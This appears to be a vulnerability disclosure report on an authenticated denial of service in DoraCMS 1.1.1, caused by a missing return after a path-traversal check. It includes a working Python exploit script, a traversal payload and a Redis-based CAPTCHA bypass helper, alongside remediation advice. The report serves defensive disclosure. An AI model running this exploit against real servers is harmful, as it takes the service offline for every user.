Skip to content

Latest commit

 

History

History
585 lines (504 loc) · 27.5 KB

File metadata and controls

585 lines (504 loc) · 27.5 KB

DoraCMS Authenticated Denial of Service via Missing return After Path-Traversal Blacklist Check

Summary

Field Value
Product DoraCMS
Vendor / GitHub https://github.com/doramart/DoraCMS
Vulnerability class CWE-460 (Improper Cleanup on Thrown Exception) / CWE-248 (Uncaught Exception) resulting from CWE-670 (Always-False Control Flow Implication — a security check whose "deny" branch fails to halt execution)
Vulnerable route GET /admin/manage/contentTemps/getFileInfo
Affected component routes/admin.js (source) → util/system.js#readFile (sink)
Verified commit cdbdcaa3 (package.json "version": "1.1.1")
Affected version range The ../ blacklist check (and its missing return) was introduced in DoraCMS v1.1.1 (commit 49a987f, 2016-03-20) and remained unpatched through the last commit of the Express/EJS codebase before it was replaced by an unrelated rewrite (commit 2f88ecb, "清空目录", 2017-09-05). Note: the immediately preceding release, v1.1.0 (commit f70c5fc, 2016-01-04), has a distinct and more severe issue on this same route — filePath was used with no traversal filtering or base-directory restriction at all — which is not the subject of this report but is worth flagging separately. As with the sibling report on filesList/updateFileInfo, releases from the 2.x/EggJS rewrite onward do not contain this code and are unaffected.
CVSS 3.1 Base Score 6.5 (Medium)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Reported by Verified via local dynamic reproduction against a full, unmodified deployment (Node.js + MongoDB + Redis), 2026-07-17

Description

routes/admin.js implements a ../ traversal blacklist on the filePath query parameter before using it to build a filesystem path:

if((params.query.filePath).indexOf('../') >= 0){
    res.end(settings.system_noPower);
}

var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
if(path){
    system.readFile(req,res,path);
}

The intent is clearly to reject the request when ../ is present. However, the if block that calls res.end() has no return statement. res.end() only flushes/closes the current HTTP response — it does not stop JavaScript execution. As a result, even when the blacklist correctly detects a traversal attempt, the handler keeps running, computes path from the still-tainted params.query.filePath, and unconditionally calls system.readFile(req, res, path).

system.readFile (util/system.js:230-247) does:

readFile: function(req, res, path) {
    if (fs.existsSync(path)) {
        fs.readFile(path, "binary", function(error, data) {
            ...
            return res.json({ fileData: newData })   // <-- L239
            ...
        });
    } else {
        res.end(settings.system_illegal_param);
    }
},

If the traversal-resolved path exists on disk, execution reaches the asynchronous fs.readFile callback, which calls res.json(...) on a response object whose headers have already been sent by the earlier, synchronous res.end() call. Node's HTTP layer throws Error [ERR_HTTP_HEADERS_SENT] from inside that callback. Nothing in the call chain (util/system.jsfs.readFile callback → FSReqWrap) catches this exception. On this codebase's Node.js/Express stack, an uncaught exception thrown from an I/O callback is fatal to the process: the entire Node.js process crashes, taking the whole DoraCMS instance offline for every user — not just the requester.

This is a single-request, deterministic denial of service, not a resource exhaustion / flood-based DoS. No repeated requests or elevated request rate are required.

Note: the same "no return after the blacklist's res.end()" pattern also exists in the sibling write route POST /admin/manage/contentTemps/updateFileInfo (routes/admin.js:1437-1449, using system.writeFile, whose async callback calls res.end("success") under the same conditions). This report focuses on and dynamically verifies the read route (getFileInfo) because it was the one reproduced end-to-end; the write route is structurally identical and is flagged here as a related, not-independently-verified finding for the vendor to fix in the same pass.

Impact

  • Confirmed (dynamically verified): a single HTTP GET request from an authenticated back-office account holding only the contentManage_temp_1_view permission bit (view-only on the "template configuration" module — not a super-admin privilege) crashes the entire Node.js process. The service is completely unavailable to all users (including unauthenticated front-end visitors) until an operator or process manager (pm2, systemd, etc.) restarts it.
  • If the deployment does not run under a process supervisor configured to auto-restart on crash, this results in a full, persistent outage requiring manual intervention.
  • No data is corrupted or exfiltrated by this specific crash path — the intended information disclosure (reading path via traversal) never reaches the client, because the process dies before the async res.json() call can complete successfully.

Exploitation Prerequisites

  1. Attacker must possess valid credentials for a DoraCMS back-office (/admin) account whose group's power string includes contentManage_temp_1_view:true. This is the read-only "view" bit on the template-configuration module — one of the lowest-privilege bits in the admin permission model. (Dynamically confirmed: an unauthenticated request to this endpoint is redirected to the login page by the global filter.authUser middleware and never reaches the vulnerable code; the process is unaffected.)
  2. The traversal-resolved target path must point to a file that already exists on the target's filesystem — this is a strict precondition, dynamically confirmed (see verification steps below): if the resolved path does not exist, the handler's else branch calls res.end() synchronously and the double-res.end() is silently absorbed, with no crash.
  3. Computing the resolved base directory requires understanding adminFunc.getTempBaseFile()'s (accidentally) traversal-sensitive logic — see "Proof of Concept" below for the exact mechanics. In short, an attacker only needs to know (or guess) the existence of some file reachable via ../ from public/themes/ or views/web/temp/; on a default install, the project root itself (containing package.json, app.js, etc.) is one ../ away from public/themes/ and trivially guessable, making this precondition easy to satisfy in practice.

Source (Taint Origin)

routes/admin.js, lines 1415–1434 (commit cdbdcaa3):

1415: router.get('/manage/contentTemps/getFileInfo', function(req, res) {
1416:
1417:     if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_view')){
1418:         var params = url.parse(req.url,true);
1419:         if((params.query.filePath).indexOf('../') >= 0){
1420:             res.end(settings.system_noPower);      // <-- no `return` here
1421:         }
1422:
1423:         var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
1424:         if(path){
1425:             system.readFile(req,res,path);          // <-- reached unconditionally
1426:         }else{
1427:             res.end(settings.system_noPower);
1428:         }
1429:     }else{
1430:         return res.json({
1431:             fileData : {}
1432:         })
1433:     }
1434: });

Related helper, models/db/adminFunc.js:298-307:

298: getTempBaseFile : function(path){
299:     var thisType = (path).split('.')[1];
300:     var basePath;
301:     if(thisType == 'ejs'){
302:         basePath = settings.SYSTEMTEMPFORDER;
303:     }else{
304:         basePath = settings.TEMPSTATICFOLDER;
305:     }
306:     return basePath;
307: },

Sink

util/system.js, lines 230–247 (function readFile):

230: readFile: function(req, res, path) { // 文件读取
231:   if (fs.existsSync(path)) {
232:     fs.readFile(path, "binary", function(error, data) {
233:       if (error) {
234:         console.log(err)
235:       } else {
236:         //处理中文乱码问题
237:         var buf = new Buffer(data, 'binary');
238:         var newData = iconv.decode(buf, 'utf-8');
239:         return res.json({
240:           fileData: newData
241:         })
242:       }
243:     });
244:   } else {
245:     res.end(settings.system_illegal_param);
246:   }
247: },

Line 239 (res.json(...)) is where the uncaught ERR_HTTP_HEADERS_SENT exception is actually thrown, crashing the process.

Call Stack

HTTP GET /admin/manage/contentTemps/getFileInfo?filePath=/../victim_secret.ejs
  └─ app.js:143            app.use('/admin', admin)
       └─ routes/admin.js:1415   router.get('/manage/contentTemps/getFileInfo', handler)
            ├─ routes/admin.js:1417   adminFunc.checkAdminPower(req, 'contentManage_temp_1_view')  -> true
            ├─ routes/admin.js:1419   ('../' detected in filePath) -> true
            ├─ routes/admin.js:1420   res.end(settings.system_noPower)      [1st response sent, headers flushed]
            │        (NO RETURN — execution falls through)
            ├─ routes/admin.js:1423   path = getTempBaseFile(filePath) + filePath   [still traversal-tainted]
            ├─ routes/admin.js:1425   system.readFile(req, res, path)
            │    └─ util/system.js:231   fs.existsSync(path)  -> true (target file exists on disk)
            │         └─ util/system.js:232   fs.readFile(path, "binary", callback)     [async]
            │              └─ [event loop, I/O completes]
            │                   └─ util/system.js:239   res.json({fileData: newData})   [2nd response attempt]
            │                        └─ express/lib/response.js:237  res.json -> res.header -> res.setHeader
            │                             └─ node:_http_outgoing.js:470
            │                                  throw Error [ERR_HTTP_HEADERS_SENT]      <-- UNCAUGHT
            │                                       └─ process crashes (fatal, no domain/try-catch anywhere in chain)

Dynamic Verification (Environment)

Reproduced end-to-end against the same full, unmodified DoraCMS deployment used for the sibling path-traversal report:

  • Source: commit cdbdcaa3, Node.js v10.24.1, MongoDB 4.4 (Docker), Redis 6 (Docker).
  • Admin account testadmin, group permission string extended to include contentManage_temp_1_view:true and contentManage_temp_1_modify:true (view/modify on the template-configuration module only — a low, non-super-admin privilege), to accurately model minimum-privilege exploitation.

Verification steps and observed results

  1. Baseline (in-bounds read): authenticated request with filePath=/baseline_test.ejs (an existing file placed directly under views/web/temp/) → server returned {"fileData":"baseline-ejs-content\n"}, HTTP 200. Confirms the endpoint and account are correctly wired, and that .ejs files are normally served from SYSTEMTEMPFORDER as expected.
  2. Determined the actual traversal-resolved path: because the payload /../victim_secret.ejs itself contains . characters, it interferes with adminFunc.getTempBaseFile()'s path.split('.')[1] type-sniffing logic — "/../victim_secret.ejs".split('.') yields ['/', '', '/victim_secret', 'ejs'], so split('.')[1] is '', not 'ejs'. This routes the base directory to settings.TEMPSTATICFOLDER (public/themes/) instead of SYSTEMTEMPFORDER. The final resolved path (after Node's path handling of the resulting string public/themes//../victim_secret.ejs) is public/victim_secret.ejs. A target file was placed at that exact location.
  3. Unauthenticated control group: identical request without a session → redirected to /admin (HTTP 302) by global auth middleware before ever reaching the route; server remained fully healthy afterward. Confirms the crash requires an authenticated, permission-bearing session.
  4. Authenticated exploitation — target file exists: authenticated request with filePath=/../victim_secret.ejs, target file present at public/victim_secret.ejs → client received 对不起,您无权执行该操作! (the first, synchronous res.end()); server log then showed:
    Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
        at ServerResponse.setHeader (_http_outgoing.js:470:11)
        at ServerResponse.header (.../express/lib/response.js:700:10)
        at ServerResponse.json (.../express/lib/response.js:237:10)
        ...
        at util/system.js:239:32
        at FSReqWrap.readFileAfterClose [as oncomplete] (internal/fs/read_file_context.js:53:3)
    
    followed immediately by process termination — confirmed via ps -p <pid> (process gone) and a subsequent HTTP request to the service root failing with connection refused.
  5. Reproducibility: the server process was restarted and step 4 was repeated with a fresh authenticated session — it crashed again, with the identical stack trace, confirming this is a deterministic, 100%-reproducible single-request DoS, not a race condition or fluke.
  6. Negative control — target file does not exist: authenticated request with filePath=/../this_file_does_not_exist_xyz.ejs (resolves to a non-existent path) → client received 对不起,您无权执行该操作!, and the server remained alive and responsive afterward. This isolates the precondition precisely: the crash requires the traversal-resolved path to exist on disk, because only the fs.existsSync() === true branch reaches the asynchronous fs.readFile callback where the fatal double-response occurs; the else branch's res.end() is synchronous and its redundant call is silently absorbed by Node without throwing.

Proof of Concept

#!/usr/bin/env python3
"""
PoC: DoraCMS Authenticated Denial of Service via Missing `return` After
     Path-Traversal Blacklist Check (Double HTTP Response -> Uncaught
     Exception -> Process Crash)

Target route : GET /admin/manage/contentTemps/getFileInfo
Sink         : util/system.js -> system.readFile()
Source       : routes/admin.js -> router.get('/manage/contentTemps/getFileInfo', ...)

Root cause:
    routes/admin.js checks the `filePath` query parameter for a `../`
    traversal attempt and calls res.end() on a match -- but the `if` block
    has NO `return` statement, so execution falls through to the rest of
    the handler regardless of whether the check matched:

        if((params.query.filePath).indexOf('../') >= 0){
            res.end(settings.system_noPower);   // <-- ends the response...
        }
        // ...but execution continues unconditionally:
        var path = adminFunc.getTempBaseFile(params.query.filePath) + params.query.filePath;
        if(path){
            system.readFile(req,res,path);       // <-- still invoked!
        }

    system.readFile() calls fs.existsSync(path); if the (traversal-resolved)
    path exists on disk, it proceeds to the ASYNCHRONOUS fs.readFile()
    callback, which calls res.json({fileData: newData}) -- on a response
    object whose headers were already sent by the earlier res.end(). This
    throws an uncaught Error [ERR_HTTP_HEADERS_SENT] inside the fs callback
    (util/system.js:239, inside FSReqWrap's oncomplete), which is not
    wrapped in any try/catch anywhere in the call chain. On this Node.js/
    Express stack, an uncaught exception in an async callback crashes the
    entire process -- taking down the whole DoraCMS instance for every
    user, not just the attacker's own request.

    The `../` blacklist itself is otherwise identical to (and copy-pasted
    from) the sibling `contentTemps/updateFileInfo` write route and the
    `filesList/*` routes, all of which have the same "no return after
    res.end()" pattern -- this report demonstrates it against the read
    route because that is the reliably reproducible one (see notes below
    on the file-must-exist precondition).

Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081.
Confirmed reproducible: repeated restarts of the target process followed by
the same authenticated request crash it every time the traversal-resolved
path exists on disk; requests where the resolved path does NOT exist do
NOT crash the process (that branch's res.end() call is synchronous, so the
double-call is silently absorbed and does not throw).

Usage (network-only, CAPTCHA value known/solved out of band):
    python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
        --base-url http://127.0.0.1:8081 \
        --username testadmin --password doracms123 --vnum abcd \
        --traversal-path "/../victim_secret.ejs"

Usage (already-authenticated session cookie):
    python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
        --base-url http://127.0.0.1:8081 --cookie "<connect.sid value>" \
        --traversal-path "/../victim_secret.ejs"

Usage (authorized lab testing only -- auto-resolve the CAPTCHA via Redis,
exactly as this PoC's author did during verification):
    python3 poc2_CVE-PENDING_dorascms_authenticated_dos.py \
        --base-url http://127.0.0.1:8081 \
        --username testadmin --password doracms123 \
        --redis-container dora-redis \
        --traversal-path "/../victim_secret.ejs"

Important note on --traversal-path:
    The resolved base directory depends on the LAST '.'-delimited segment
    of the filePath string as parsed by adminFunc.getTempBaseFile(), i.e.
    `filePath.split('.')[1]`. Because the payload itself contains "..",
    this split is affected by the payload's own dots:
        "/../victim_secret.ejs".split('.') -> ['/', '', '/victim_secret', 'ejs']
        split('.')[1] == '' (not 'ejs') -> base dir resolves to
        settings.TEMPSTATICFOLDER ('public/themes/'), NOT
        settings.SYSTEMTEMPFORDER ('views/web/temp/') despite the .ejs
        extension. The final resolved path after Node's own path handling
        is: public/themes/ + "/../victim_secret.ejs" -> public/victim_secret.ejs
    The target file must already exist at the path your specific payload
    actually resolves to -- compute it for your payload the same way
    adminFunc.getTempBaseFile() does before relying on this PoC.

Requirements:
    - requests  (pip install requests)
    - Target account must already exist and hold the
      'contentManage_temp_1_view' permission bit in its admin group.
"""

import argparse
import re
import subprocess
import sys
import time
import urllib.parse

import requests


def resolve_vnum_via_redis(session: requests.Session, redis_container: str,
                            redis_host: str, redis_port: int) -> str:
    """Lab-only helper, see poc_CVE-PENDING_dorascms_path_traversal.py for details."""
    raw_cookie = session.cookies.get("connect.sid")
    if not raw_cookie:
        raise RuntimeError("No connect.sid cookie set on session yet; GET /admin first.")
    decoded = urllib.parse.unquote(raw_cookie)
    real_sid = decoded.split(":", 1)[1].split(".")[0]

    if redis_container:
        cmd = ["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{real_sid}"]
    else:
        cmd = ["redis-cli", "-h", redis_host, "-p", str(redis_port), "get", f"sess:{real_sid}"]

    out = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
    match = re.search(r'"vnum":"(\w+)"', out.stdout)
    if not match:
        raise RuntimeError(f"Could not extract vnum from session doc: {out.stdout!r}")
    return match.group(1)


def login(session: requests.Session, base_url: str, username: str, password: str, vnum: str) -> bool:
    resp = session.post(
        f"{base_url}/admin/doLogin",
        data={"userName": username, "password": password, "vnum": vnum},
        timeout=10,
    )
    return resp.text.strip() == "success"


def check_alive(base_url: str, timeout: float = 5.0) -> bool:
    try:
        r = requests.get(base_url + "/", timeout=timeout)
        return r.status_code != 0
    except requests.RequestException:
        return False


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--base-url", default="http://127.0.0.1:8081", help="DoraCMS base URL")
    parser.add_argument("--username", help="Admin account with contentManage_temp_1_view permission")
    parser.add_argument("--password", help="Admin account password (plaintext, pre-encryption)")
    parser.add_argument("--vnum", default=None, help="Known/solved login CAPTCHA value")
    parser.add_argument("--cookie", default=None, help="Pre-authenticated connect.sid cookie value")
    parser.add_argument(
        "--redis-container", default=None,
        help="Lab-only: docker container name running the target's Redis session store, "
        "used to auto-resolve the CAPTCHA. Do not use against real remote targets.",
    )
    parser.add_argument("--redis-host", default="127.0.0.1", help="Lab-only: Redis host")
    parser.add_argument("--redis-port", type=int, default=6379, help="Lab-only: Redis port")
    parser.add_argument(
        "--traversal-path", default="/../victim_secret.ejs",
        help="filePath query value. Must resolve (per adminFunc.getTempBaseFile's split-on-'.' "
        "logic, see module docstring) to a path that already exists on disk.",
    )
    args = parser.parse_args()

    print(f"[*] Pre-flight: checking target is alive at {args.base_url} ...")
    if not check_alive(args.base_url):
        print("[!] Target does not appear to be up before we've even sent anything. Aborting.", file=sys.stderr)
        return 1
    print("[+] Target is up.")

    session = requests.Session()

    if args.cookie:
        session.cookies.set("connect.sid", args.cookie)
        print("[*] Using supplied authenticated session cookie.")
    else:
        if not args.username or not args.password:
            print("[!] --username/--password required unless --cookie is supplied.", file=sys.stderr)
            return 2

        print("[*] Fetching login page to establish session ...")
        session.get(f"{args.base_url}/admin", timeout=10).raise_for_status()

        vnum = args.vnum
        if not vnum:
            if not args.redis_container and args.redis_host == "127.0.0.1":
                print(
                    "[!] No --vnum and no --redis-container supplied. Pass --vnum with a "
                    "known/solved value, or (authorized lab testing only) --redis-container.",
                    file=sys.stderr,
                )
                return 2
            print("[*] Resolving CAPTCHA from Redis session store (lab-only helper) ...")
            vnum = resolve_vnum_via_redis(session, args.redis_container, args.redis_host, args.redis_port)
            print(f"[*] Resolved vnum: {vnum}")

        print(f"[*] Logging in as '{args.username}' ...")
        if not login(session, args.base_url, args.username, args.password, vnum):
            print("[!] Login failed. Check credentials / vnum.", file=sys.stderr)
            return 1
        print("[+] Login successful, admin session established.")

    print(f"[*] Sending DoS trigger request: filePath={args.traversal_path!r}")
    try:
        resp = session.get(
            f"{args.base_url}/admin/manage/contentTemps/getFileInfo",
            params={"filePath": args.traversal_path},
            timeout=10,
        )
        print(f"[*] Server response (first res.end): HTTP {resp.status_code}, body: {resp.text!r}")
    except requests.RequestException as e:
        print(f"[*] Request itself errored (this can happen if the crash races the response): {e}")

    print("[*] Waiting 2s for the async fs.readFile callback to fire server-side and crash the process ...")
    time.sleep(2)

    print("[*] Re-checking target liveness ...")
    alive = check_alive(args.base_url)
    if alive:
        print(
            "[-] Target still responds. DoS did not trigger -- most likely the traversal-resolved "
            "path does not exist on the target filesystem (system.readFile requires "
            "fs.existsSync(path) === true to reach the crashing async branch). See the "
            "module docstring for how the base directory is computed."
        )
        return 1
    else:
        print("[+] Target is DOWN. Denial of Service CONFIRMED: the process crashed as a result "
              "of the single authenticated request above.")
        return 0


if __name__ == "__main__":
    raise SystemExit(main())

It was executed as a standalone script against the reproduction environment described above and produced:

[*] Pre-flight: checking target is alive at http://127.0.0.1:8081 ...
[+] Target is up.
[*] Fetching login page to establish session ...
[*] Resolving CAPTCHA from Redis session store (lab-only helper) ...
[*] Resolved vnum: yk42
[*] Logging in as 'testadmin' ...
[+] Login successful, admin session established.
[*] Sending DoS trigger request: filePath='/../victim_secret.ejs'
[*] Server response (first res.end): HTTP 200, body: '对不起,您无权执行该操作!'
[*] Waiting 2s for the async fs.readFile callback to fire server-side and crash the process ...
[*] Re-checking target liveness ...
[+] Target is DOWN. Denial of Service CONFIRMED: the process crashed as a result of the single authenticated request above.

Minimal reproduction request (for reference, once authenticated)

GET /admin/manage/contentTemps/getFileInfo?filePath=%2f..%2fvictim_secret.ejs HTTP/1.1
Host: <target>
Cookie: connect.sid=<authenticated session with contentManage_temp_1_view permission>

Where victim_secret.ejs is any file that already exists at public/themes/../<name> relative to the deployment root (i.e., in the deployment's public/ directory) — see the "traversal-resolved path" mechanics in the module docstring / verification step 2 above for computing the correct target for a different filename/extension.

Remediation Recommendation

Add a return statement immediately after res.end(settings.system_noPower) in the traversal check, so the handler actually stops processing the request once a ../ sequence is detected:

if((params.query.filePath).indexOf('../') >= 0){
    return res.end(settings.system_noPower);
}

The same fix is needed in the structurally identical sibling route POST /admin/manage/contentTemps/updateFileInfo (routes/admin.js:1440).

As defense in depth (and to fix the underlying traversal issue itself, not just the crash it currently causes), replace the indexOf('../') blacklist with resolving the final path via path.resolve()/ path.normalize() and verifying it is still contained within the intended base directory before touching the filesystem — consistent with the recommendation in the sibling filesList/updateFileInfo path-traversal report.

More generally, wrapping the top-level request handler (or the process itself, via a supervisor with health checks) so that a single uncaught exception in an I/O callback cannot take down the entire process would reduce the blast radius of any future instance of this same coding pattern.

Timeline

  • 2026-07-17: Vulnerability identified while reviewing a static taint analysis report for a related path-traversal finding on the same file; independently confirmed via full dynamic reproduction (including deliberate re-crash to confirm determinism) in an isolated local lab environment (no production/third-party systems involved). No vendor disclosure performed as part of this report.